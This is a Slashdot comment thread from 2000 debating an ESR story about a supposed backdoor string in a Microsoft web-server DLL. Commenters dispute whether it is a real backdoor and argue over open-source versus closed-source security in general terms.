  • This is really getting rediculous. Just ONCE i would like to view slashdot at treshold=0 and feel good about the future of the human race.

    Regarding this story - I do see it as anti-microsoft and i see the story being taken a different direction other than where the facts say - the facts say M$ has a backdoor in their software. The story says USE APACHE - NO BACK DOORS EVER.
    BUT: It is this dude's right to have an opinion about this announcement. It is no reason to post all this garbage about VA linux. Everyone knows its not doing too hot. But i would bet that none of these trolls are the CEO of a publicly traded company.

    This is a call to the human nature of posters on /. - PLEASE for the sake of the rest of the world that reads these comments, Have something posative to say. If you have a sarcastic story, go post it on segfault. PLEASE be mindful of the fact that *we* have to wade through your bullshit to find the good comments.

    ~zero


    insert clever line here
  • This has already been a well-publicized problem for the past two days. I mean, it's even on ZDNet and Cnet. Oh well, I suppose that waiting this long would mean that ESR had time to verify all of his facts.

    Opps, it seems that he didn't. Anyway, the string "Netscape engineers are weenies" is indeed embedded backwards inside the referenced dll file. However, this does not allow arbitrary access to websites, nor is it some sort of hidden backdoor password. If you already have authoring permissions on a server, the dll will allow you to read the web pages of other sites that may also be hosted on the server. Essentially, the wall between theoretically independent virtual hosted sites is slightly reduced. The flaw does NOT allow one to modify content, nor does it allow one access to information that is protected by NTFS permissions instead of IIS permissions. The real use of the string is to name mangle all URL requests of a certain form before use by the Microsoft Interdev 1.0 software.

    Interesting enough, the scrutiny under which this dll has been examined has revealed the existence of a *real* problem, a buffer overflow that is theoretically explotiable (I'm not sure of the details, but IIRC, it's an unlength-checked strcpy). Open-source software does help expose deliberately placed backdoors, however, it does not target the problem that caused the Microsoft flaw in the first place: untrustworthy programmers. No project, closed source or open source, run under the cathedral model or the bazaar model, can escape the fundemental concept of information security: you must place at least some implicit trust on the people who build/mantain/administer your software. Open source software allows others oversight so that they can spot this type of problem (witness the Dansie Shopping Cart backdoor), but cannot act as a magic pill that solves all problems of this nature. It is naive to believe that just making something opensource makes it inherently more difficult to include backdoors and "design for insecurity." This just reiterates and reemphasizes the need for continual code audits and scrutiny of all executable code in secure operating environments.

  • oh really.. (Score:3)

    by *borktheork* (123647) on Saturday April 15 2000, @01:22PM (#1130801)
    Cockcroaches breed in the dark.
    Cockroaches serve a useful purpose in our ecosystem.
    Crackers thrive on code secrecy.
    What a load of horseshit. System crackers thrive on end user ignorance. Most of the machines I see people putting on the net are rootable out of the box and never changed. And most of those machines are Red Hat linux (opensource, yay! *cough* *cough*).
    It's time to let the sunlight in.
    Or maybe it's time to learn to use Soft-ICE. Or run a unix, of course. Anyway, does this surprise anyone? I mean, we're talking about a company that puts flight simulators in their spreadsheet and a doom clone in their word processor.

  • score -1 Flamebait (Score:3)

    by KiboMaster (129566) on Saturday April 15 2000, @02:26PM (#1130809) Homepage
    As much as I agree with ESR about what was said here... I have to play devil's advociate on this one.

    As much as I dislike Microsoft's products and general business tacticts, I don't go around telling people how much they suck. I just show people alternatives. (be it Linux, BeOS or whatever)

    Microsoft has a right to exist. Kicking them while they're down doesn't help matters much. Microsoft will get what's coming to them in the near future.

    I always thought slashdot at least attemped to be serious about journalism. This story has given me doubts. Perhaps a moderation script for the mainpage would be in order.

  • This article annoys me to no end. First of all, as has already been pointed out, there is no backdoor: the only thing that happened is that someone managed to get access to a poorly secured site and alerted every major newswire to the 'backdoor' he found before checking whether one actuall existed.

    Stripped of all the hype, the worst thing to come out of this is that, apparently, the string "Netscape engineers are weenies!!", reversed, is used in an obsolete version of a Microsoft support DLL (which, BTW, may have its roots in non-Microsoft legacy FrontPage code...) as a 'secret' to 'encrypt' web pages in transit. This is definitely a bad security design (as well as childish), but in this case it happens not to hurt anybody (except perhaps the ego of the few remaining Netscape engineers :-)

    The kicker in this article is the claim that there would never be anything like this in the "BIND library" -- well, the library might not have any issues, but BIND itself sure has been the source of a number of root exploits so far, and there is no guarantee whatsoever that this won't happen again in the future

    FUD should not become a standard for Linux advocacy...

All trademarks and copyrights on this page are owned by their respective owners. Comments are owned by the Poster. The Rest © 1997-2009 Geeknet, Inc.